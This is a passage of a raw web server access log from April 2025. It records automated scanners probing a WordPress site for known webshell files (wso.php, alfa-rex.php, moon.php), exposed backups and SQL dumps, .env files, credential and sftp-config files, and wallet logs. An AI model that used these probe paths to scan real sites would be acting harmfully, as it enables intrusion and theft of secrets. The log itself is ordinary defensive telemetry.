"-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:23 -0400] "GET /assets/edit.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:24 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:24 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:25 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:25 -0400] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:26 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:26 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:27 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:27 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:27 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:28 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:28 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.172.41.125 - - [09/Apr/2025:17:59:29 -0400] "GET /images/stories/admin-post.php HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [09/Apr/2025:18:15:13 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 40.70.220.174 - - [09/Apr/2025:18:34:17 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:22 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:22 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:22 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:22 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:23 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:23 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:23 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:24 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:18:34:24 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 134.209.103.14 - - [09/Apr/2025:19:16:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 34.224.98.241 - - [09/Apr/2025:20:53:59 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [09/Apr/2025:20:54:02 -0400] "HEAD /ads.txt HTTP/1.1" 301 0 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [09/Apr/2025:20:54:03 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [09/Apr/2025:20:54:09 -0400] "HEAD /app-ads.txt HTTP/1.1" 301 0 "-" "AdsTxtCrawlerTP/1.2" 34.224.98.241 - - [09/Apr/2025:20:54:09 -0400] "GET /app-ads.txt HTTP/1.1" 301 795 "-" "AdsTxtCrawlerTP/1.2" 45.128.199.254 - - [09/Apr/2025:21:38:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.11.11" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-includes/js/jquery/jquery.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; ONE E1003) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-content/themes/bloghash/assets/js/bloghash-slider.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; en-us; Redmi 5 Plus Build/OPM1.171019.019) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.141 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.9.7-g" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-content/themes/bloghash/assets/js/bloghash.min.js HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-content/themes/bloghash/assets/js/vendors/vanilla-marquee.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-content/themes/bloghash/assets/js/vendors/swiper-bundle.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.1.0; GM 6 d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.0.0; SM-G930V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-includes/js/imagesloaded.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET /wp-emoji-release.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.1.2; Nexus 6P Build/N2G48C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 54.226.250.71 - - [09/Apr/2025:21:38:52 -0400] "GET //grimslut.com/wp-content/themes/bloghash/assets/js/vendors/flexibility.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36" 157.97.122.5 - - [09/Apr/2025:21:57:26 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 185.132.187.8 - - [09/Apr/2025:21:57:28 -0400] "GET /restore/backup.gz HTTP/1.1" 301 795 "-" "-" 185.132.187.48 - - [09/Apr/2025:21:57:30 -0400] "HEAD /back/mysql.sql HTTP/1.1" 301 0 "-" "-" 185.132.187.22 - - [09/Apr/2025:21:57:31 -0400] "GET /old/www.tar HTTP/1.1" 301 795 "-" "-" 157.97.122.2 - - [09/Apr/2025:21:57:33 -0400] "GET /website.zip HTTP/1.1" 301 795 "-" "-" 185.132.187.7 - - [09/Apr/2025:21:57:35 -0400] "GET /bak/backup.gz HTTP/1.1" 301 795 "-" "-" 185.132.187.6 - - [09/Apr/2025:21:57:36 -0400] "HEAD /old/config.json HTTP/1.1" 301 0 "-" "-" 185.132.187.32 - - [09/Apr/2025:21:57:37 -0400] "GET /restore/backup.tar HTTP/1.1" 301 795 "-" "-" 157.97.122.38 - - [09/Apr/2025:21:57:38 -0400] "GET /restore/backup.sql.tar HTTP/1.1" 301 795 "-" "-" 185.132.187.42 - - [09/Apr/2025:21:57:40 -0400] "GET /restore/archive.zip HTTP/1.1" 301 795 "-" "-" 157.97.122.7 - - [09/Apr/2025:21:57:41 -0400] "GET /back/website.gz HTTP/1.1" 301 795 "-" "-" 185.132.187.25 - - [09/Apr/2025:21:57:43 -0400] "GET /bak/www.rar HTTP/1.1" 301 795 "-" "-" 157.97.122.30 - - [09/Apr/2025:21:57:45 -0400] "GET /restore/application.zip HTTP/1.1" 301 795 "-" "-" 91.230.225.116 - - [09/Apr/2025:22:10:25 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 91.230.225.119 - - [09/Apr/2025:22:10:26 -0400] "GET /old/public_html.tar HTTP/1.1" 301 795 "-" "-" 185.192.71.172 - - [09/Apr/2025:22:10:29 -0400] "GET /old/latest.zip HTTP/1.1" 301 795 "-" "-" 185.192.71.177 - - [09/Apr/2025:22:10:32 -0400] "GET /config.js HTTP/1.1" 301 795 "-" "-" 185.192.71.178 - - [09/Apr/2025:22:10:35 -0400] "GET /website.rar HTTP/1.1" 301 795 "-" "-" 91.230.225.132 - - [09/Apr/2025:22:10:36 -0400] "GET /backups/latest.zip HTTP/1.1" 301 795 "-" "-" 185.92.25.55 - - [09/Apr/2025:22:10:40 -0400] "GET /old/directory.zip HTTP/1.1" 301 795 "-" "-" 185.192.71.183 - - [09/Apr/2025:22:10:41 -0400] "GET /bak/public_html.zip HTTP/1.1" 301 795 "-" "-" 91.230.225.120 - - [09/Apr/2025:22:10:45 -0400] "GET /backups/website.gz HTTP/1.1" 301 795 "-" "-" 185.192.71.182 - - [09/Apr/2025:22:10:47 -0400] "HEAD /restore/credentials.txt HTTP/1.1" 301 0 "-" "-" 91.230.225.130 - - [09/Apr/2025:22:10:49 -0400] "GET /restore/backup.sql.gz HTTP/1.1" 301 795 "-" "-" 185.92.25.50 - - [09/Apr/2025:22:10:52 -0400] "GET /backup/Archive.zip HTTP/1.1" 301 795 "-" "-" 91.230.225.132 - - [09/Apr/2025:22:10:54 -0400] "HEAD /backup/sql.sql HTTP/1.1" 301 0 "-" "-" 212.30.33.220 - - [09/Apr/2025:22:29:01 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 212.30.33.238 - - [09/Apr/2025:22:29:02 -0400] "HEAD /bak/credentials.txt HTTP/1.1" 301 0 "-" "-" 212.30.33.230 - - [09/Apr/2025:22:29:05 -0400] "GET /backups/directory.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.218 - - [09/Apr/2025:22:29:07 -0400] "GET /old/application.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.238 - - [09/Apr/2025:22:29:10 -0400] "GET /back/bak.tar HTTP/1.1" 301 795 "-" "-" 212.30.33.227 - - [09/Apr/2025:22:29:13 -0400] "GET /bak/website.gz HTTP/1.1" 301 795 "-" "-" 212.30.33.187 - - [09/Apr/2025:22:29:15 -0400] "GET /backups/www.tar.gz HTTP/1.1" 301 795 "-" "-" 212.30.33.178 - - [09/Apr/2025:22:29:17 -0400] "GET /backups/public_html.tar HTTP/1.1" 301 795 "-" "-" 212.30.33.222 - - [09/Apr/2025:22:29:20 -0400] "HEAD /backup/config.json HTTP/1.1" 301 0 "-" "-" 212.30.33.169 - - [09/Apr/2025:22:29:22 -0400] "GET /latest.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.227 - - [09/Apr/2025:22:29:24 -0400] "GET /public_html.rar HTTP/1.1" 301 795 "-" "-" 212.30.33.241 - - [09/Apr/2025:22:29:25 -0400] "GET /application.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.223 - - [09/Apr/2025:22:29:27 -0400] "GET /backup/website.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.238 - - [09/Apr/2025:22:36:43 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 212.30.33.202 - - [09/Apr/2025:22:36:45 -0400] "GET /back/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 212.30.33.234 - - [09/Apr/2025:22:36:48 -0400] "GET /backup.sql.tar HTTP/1.1" 301 795 "-" "-" 212.30.33.218 - - [09/Apr/2025:22:36:50 -0400] "GET /bak/www.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.200 - - [09/Apr/2025:22:36:52 -0400] "HEAD /wallets/log.txt HTTP/1.1" 301 0 "-" "-" 212.30.33.178 - - [09/Apr/2025:22:36:54 -0400] "GET /old/directory.tar HTTP/1.1" 301 795 "-" "-" 212.30.33.193 - - [09/Apr/2025:22:36:56 -0400] "HEAD /back/credentials.txt HTTP/1.1" 301 0 "-" "-" 212.30.33.194 - - [09/Apr/2025:22:36:58 -0400] "GET /backup/directory.tar HTTP/1.1" 301 795 "-" "-" 212.30.33.227 - - [09/Apr/2025:22:37:00 -0400] "HEAD /back/dump.sql HTTP/1.1" 301 0 "-" "-" 212.30.33.181 - - [09/Apr/2025:22:37:02 -0400] "HEAD /bak/config.json HTTP/1.1" 301 0 "-" "-" 212.30.33.192 - - [09/Apr/2025:22:37:03 -0400] "GET /www.gz HTTP/1.1" 301 795 "-" "-" 212.30.33.239 - - [09/Apr/2025:22:37:06 -0400] "GET /restore/directory.zip HTTP/1.1" 301 795 "-" "-" 212.30.33.169 - - [09/Apr/2025:22:37:08 -0400] "GET /backup/public_html.gz HTTP/1.1" 301 795 "-" "-" 212.30.33.240 - - [09/Apr/2025:22:37:10 -0400] "HEAD /backups/sftp-config.json HTTP/1.1" 301 0 "-" "-" 212.30.33.206 - - [09/Apr/2025:22:37:12 -0400] "HEAD /restore/mysql.sql HTTP/1.1" 301 0 "-" "-" 98.159.226.240 - - [09/Apr/2025:22:39:04 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 98.159.226.240 - - [09/Apr/2025:22:39:06 -0400] "GET /back/website.zip HTTP/1.1" 301 795 "-" "-" 98.159.226.244 - - [09/Apr/2025:22:39:08 -0400] "GET /public_html.zip HTTP/1.1" 301 795 "-" "-" 98.159.226.244 - - [09/Apr/2025:22:39:11 -0400] "HEAD /back/config.json HTTP/1.1" 301 0 "-" "-" 98.159.226.244 - - [09/Apr/2025:22:39:14 -0400] "GET /restore/public_html.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.240 - - [09/Apr/2025:22:39:17 -0400] "GET /backup/website.rar HTTP/1.1" 301 795 "-" "-" 98.159.226.242 - - [09/Apr/2025:22:39:20 -0400] "GET /restore/backup.rar HTTP/1.1" 301 795 "-" "-" 98.159.226.244 - - [09/Apr/2025:22:39:21 -0400] "GET /restore/public_html.gz HTTP/1.1" 301 795 "-" "-" 98.159.226.242 - - [09/Apr/2025:22:39:24 -0400] "GET /backups/directory.rar HTTP/1.1" 301 795 "-" "-" 98.159.226.243 - - [09/Apr/2025:22:39:26 -0400] "GET /back/www.tar HTTP/1.1" 301 795 "-" "-" 98.159.226.243 - - [09/Apr/2025:22:39:28 -0400] "GET /backup/latest.zip HTTP/1.1" 301 795 "-" "-" 98.159.226.241 - - [09/Apr/2025:22:39:30 -0400] "GET /bak.rar HTTP/1.1" 301 795 "-" "-" 98.159.226.240 - - [09/Apr/2025:22:39:32 -0400] "GET /back/directory.zip HTTP/1.1" 301 795 "-" "-" 193.23.3.90 - - [09/Apr/2025:22:43:50 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 178.128.225.129 - - [09/Apr/2025:22:43:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 193.23.3.90 - - [09/Apr/2025:22:43:51 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 43.135.185.59 - - [09/Apr/2025:22:54:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 209.38.21.145 - - [09/Apr/2025:23:16:30 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.13.191.100 - - [09/Apr/2025:23:27:35 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.13.191.69 - - [09/Apr/2025:23:27:37 -0400] "GET /www.zip HTTP/1.1" 301 795 "-" "-" 45.13.191.97 - - [09/Apr/2025:23:27:38 -0400] "GET /backup/bak.gz HTTP/1.1" 301 795 "-" "-" 45.13.191.12 - - [09/Apr/2025:23:27:39 -0400] "HEAD /back/backup.sql HTTP/1.1" 301 0 "-" "-" 45.13.191.107 - - [09/Apr/2025:23:27:41 -0400] "HEAD /wallets/logs.txt HTTP/1.1" 301 0 "-" "-" 45.13.191.92 - - [09/Apr/2025:23:27:42 -0400] "GET /old/backup.sql.gz HTTP/1.1" 301 795 "-" "-" 45.13.191.97 - - [09/Apr/2025:23:27:43 -0400] "GET /backups/bak.tar.gz HTTP/1.1" 301 795 "-" "-" 45.13.191.93 - - [09/Apr/2025:23:27:44 -0400] "GET /restore/bak.gz HTTP/1.1" 301 795 "-" "-" 45.13.191.110 - - [09/Apr/2025:23:27:46 -0400] "GET /old/website.zip HTTP/1.1" 301 795 "-" "-" 45.13.191.81 - - [09/Apr/2025:23:27:47 -0400] "GET /old/bak.rar HTTP/1.1" 301 795 "-" "-" 45.13.191.98 - - [09/Apr/2025:23:27:49 -0400] "GET /archive.zip HTTP/1.1" 301 795 "-" "-" 45.13.191.99 - - [09/Apr/2025:23:27:50 -0400] "GET /old/directory.rar HTTP/1.1" 301 795 "-" "-" 45.13.191.96 - - [09/Apr/2025:23:27:51 -0400] "GET /back/www.rar HTTP/1.1" 301 795 "-" "-" 45.13.191.96 - - [09/Apr/2025:23:27:52 -0400] "HEAD /backup/mysql.sql HTTP/1.1" 301 0 "-" "-" 45.13.191.111 - - [09/Apr/2025:23:27:53 -0400] "GET /back/public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 47.243.74.123 - - [09/Apr/2025:23:30:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.2282.163 Safari/537.36" 45.67.99.40 - - [09/Apr/2025:23:47:23 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 45.67.99.6 - - [09/Apr/2025:23:47:26 -0400] "GET /bak/public_html.tar HTTP/1.1" 301 795 "-" "-" 45.67.99.7 - - [09/Apr/2025:23:47:27 -0400] "HEAD /restore/sftp-config.json HTTP/1.1" 301 0 "-" "-" 45.67.99.6 - - [09/Apr/2025:23:47:29 -0400] "GET /back/www.tar.gz HTTP/1.1" 301 795 "-" "-" 45.67.99.7 - - [09/Apr/2025:23:47:32 -0400] "GET /restore/bak.tar HTTP/1.1" 301 795 "-" "-" 45.67.99.10 - - [09/Apr/2025:23:47:33 -0400] "GET /old/archive.zip HTTP/1.1" 301 795 "-" "-" 45.67.99.6 - - [09/Apr/2025:23:47:36 -0400] "GET /backup/public_html.rar HTTP/1.1" 301 795 "-" "-" 45.67.99.6 - - [09/Apr/2025:23:47:38 -0400] "GET /backups/bak.rar HTTP/1.1" 301 795 "-" "-" 45.67.99.7 - - [09/Apr/2025:23:47:40 -0400] "GET /bak/website.zip HTTP/1.1" 301 795 "-" "-" 45.67.99.40 - - [09/Apr/2025:23:47:42 -0400] "GET /backups/backup.sql.gz HTTP/1.1" 301 795 "-" "-" 45.67.99.10 - - [09/Apr/2025:23:47:45 -0400] "GET /public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 45.67.99.10 - - [09/Apr/2025:23:47:47 -0400] "GET /old/bak.gz HTTP/1.1" 301 795 "-" "-" 45.67.99.40 - - [09/Apr/2025:23:47:50 -0400] "GET /backups/backup.gz HTTP/1.1" 301 795 "-" "-" 140.245.43.10 - - [10/Apr/2025:00:10:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:20 -0400] "GET //woh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:26 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:29 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:31 -0400] "GET //zero.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:33 -0400] "GET //wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:37 -0400] "GET //phpmailer.lang-sv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:40 -0400] "GET //wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:44 -0400] "GET //wp-admin/css/colors/ectoplasm/load-styles.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:47 -0400] "GET //wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:10:52 -0400] "GET //wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:05 -0400] "GET //cgi-bin/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:10 -0400] "GET //wp-admin/images/class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:16 -0400] "GET //wp-admin/js/widgets/class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:22 -0400] "GET //.well-known/pki-validation/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:26 -0400] "GET //class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:29 -0400] "GET //class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:33 -0400] "GET //wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:36 -0400] "GET //wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:11:49 -0400] "GET //.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:02 -0400] "GET //.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:06 -0400] "GET //images/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:11 -0400] "GET //wp-admin/css/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:20 -0400] "GET //wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:26 -0400] "GET //wp-admin/includes/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:30 -0400] "GET //wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:33 -0400] "GET //wp-content/languages/themes/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:36 -0400] "GET //wp-content/themes/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:38 -0400] "GET //wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:41 -0400] "GET //.tmb/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:44 -0400] "GET //.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:46 -0400] "GET //cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:53 -0400] "GET //wp-admin/user/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:12:56 -0400] "GET //wp-content/upgrade/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:09 -0400] "GET //wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:14 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:18 -0400] "GET //wp-includes/ID3/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:21 -0400] "GET //wp-includes/certificates/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:26 -0400] "GET //wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:32 -0400] "GET //wp-includes/IXR/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:36 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:43 -0400] "GET //classfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:49 -0400] "GET //tempfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:52 -0400] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:13:55 -0400] "GET //nf_tracking.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:05 -0400] "GET //wp-content/wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:07 -0400] "GET //wp-includes/wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:09 -0400] "GET //wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:12 -0400] "GET //wp-content/uploads/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:14 -0400] "GET //wp-content/upgrade/class_api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:17 -0400] "GET //cgi-bin/sgd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:20 -0400] "GET //wp-admin/js/widgets/sgd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - [10/Apr/2025:00:14:23 -0400] "GET //wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.43.10 - - 